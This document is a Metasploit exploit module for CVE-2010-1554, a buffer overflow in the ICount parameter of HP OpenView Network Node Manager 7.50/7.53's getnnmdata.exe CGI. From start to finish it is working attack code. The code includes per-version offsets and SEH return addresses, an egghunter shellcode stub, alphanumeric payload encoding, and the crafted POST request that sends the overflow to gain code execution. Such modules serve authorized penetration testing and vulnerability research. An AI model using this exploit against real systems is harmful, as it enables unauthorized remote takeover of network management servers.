HP OpenView Network Node Manager (OV NNM) – ‘getnnmdata.exe ICount’ CGI Buffer Overflow (Metasploit)
## # $Id: hp_nnm_getnnmdata_icount.rb 12121 2011-03-24 00:49:33Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53. By sending specially crafted ICount parameter to the getnnmdata.exe CGI, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12121 $', 'References' => [ [ 'CVE', '2010-1554' ], [ 'OSVDB', '64976' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'DisableNops' => 'True', 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7582, 'Ret' => 0x5a01f277 } ], [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2052, 'Ret' => 0x5a666d69 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 11 2010')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit egg = rand_text_alpha_upper(4) hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" boom = rand_text_alpha_upper(target['Offset']) boom << generate_seh_record(target.ret) boom << hunter + egg + egg boom << payload.encoded boom << rand_text_alpha_upper(9024 - payload.encoded.length) sploit = "SnmpVals=&ICount=-9#{boom}" print_status("Trying target #{target.name}...") send_request_cgi({ 'uri' => '/OvCgi/getnnmdata.exe', 'method' => 'POST', 'data' => sploit }, 8) handler end end |